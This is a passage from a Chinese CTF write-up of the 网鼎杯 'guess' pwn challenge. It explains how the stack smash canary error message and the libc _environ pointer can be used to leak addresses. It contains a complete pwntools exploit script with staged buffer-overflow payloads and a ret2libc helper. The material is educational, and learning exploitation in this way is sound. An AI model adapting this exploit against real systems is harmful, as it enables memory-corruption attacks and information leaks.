网鼎杯-guess

Posted sketch_pl4ne

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网鼎杯-guess相关的知识,希望对你有一定的参考价值。

前言

通过这道题学习两个知识点:stack smash和_environ。
stack smash,在程序有canary的情况下,如果溢出会输出报错信息,这个报错信息保存在一个指针里面(&__libc_argv[0]),如果覆盖它为函数got表地址,报错的时候就输出函数真实地址。
_environ,libc里的一个环境指针,它指向栈地址。如果泄露出了libc地址,就可以获得_environ指针地址,也就可以泄露栈地址。

题目信息

没开PIE,GOT表可写。
checksec
程序有三次输入flag的机会,漏洞在于输入的地方,可以栈溢出。

漏洞利用

  1. 找到我们输入的位置(也就是s2)距离&__libc_argv[0]的偏移,栈溢出覆盖__libc_argv[0]为puts_got,泄露libc地址;
  2. 已知libc地址泄露栈地址用_environ,栈溢出覆盖__libc_argv[0]为libc_base+p64(libc.sym[\'_environ\']),泄露_environ栈地址;
  3. 计算_environ距离flag字符串的偏移,栈溢出泄露flag字符串。

EXP

from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,\'\\0\'))
uu64    = lambda data               :u64(data.ljust(8,\'\\0\'))
leak    = lambda name,addr          :log.success(\'{} = {:#x}\'.format(name, addr))

# context.log_level = \'DEBUG\'
context.terminal = [\'tmux\', \'splitw\', \'-h\']
binary = \'./guess\'
context.binary = binary
elf = ELF(binary,checksec=False)

def dbg(cmd=""):
	gdb.attach(p,cmd)

def ret2libc(leak, func, path=\'\'):
	if path == \'\':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump(\'system\')
		binsh = base + libc.dump(\'str_bin_sh\')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym[\'system\']
		binsh = base + libc.search(\'/bin/sh\').next()
	return (system, binsh)

def pwn(argv):
	global p
	global libc
	if(len(argv)==1):
		p = process(binary)
		libc = elf.libc
	else:
		ip, port = "1.2.3.4:5678".split(":")
		p = remote(ip, port)
		libc = ELF("./libc-2.27.so")
	
	# leak libc
	# user input to &__libc_argv[0] 0x128
	sla("Please type your guessing flag","A"*0x128+p64(elf.got[\'puts\']))
	ru(\': \')
	puts_addr = uu64(r(6))
	leak(\'puts\',puts_addr)
	libc_base = puts_addr - libc.sym[\'puts\']
	leak(\'libc_base\',libc_base)

	# leak stack 
	environ_got = libc_base + libc.sym[\'_environ\']
	sla("Please type your guessing flag","A"*0x128+p64(environ_got))
	ru(\': \')
	environ_addr = uu64(r(6))
	leak(\'environ_addr\',environ_addr)

	# leak flag
	# environ_addr - flag = 0x168
	sla("Please type your guessing flag","A"*0x128+p64(environ_addr-0x168))
	# dbg()
	itr()


if __name__ == "__main__":
	pwn(sys.argv)

总结

已泄露libc地址,需要泄露栈地址,可以输出libc_base+p64(libc.sym[\'_enivron\']),它就在栈上。

以上是关于网鼎杯-guess的主要内容,如果未能解决你的问题,请参考以下文章

网鼎杯 fakebook

[网鼎杯 2020 朱雀组]phpweb

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava[网鼎杯 2020 朱雀组]Think Java)

[网鼎杯 2020 青龙组]AreUSerialz

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava[网鼎杯 2020 朱雀组]Think Java)

2020/5/24 网鼎杯_青龙组_signal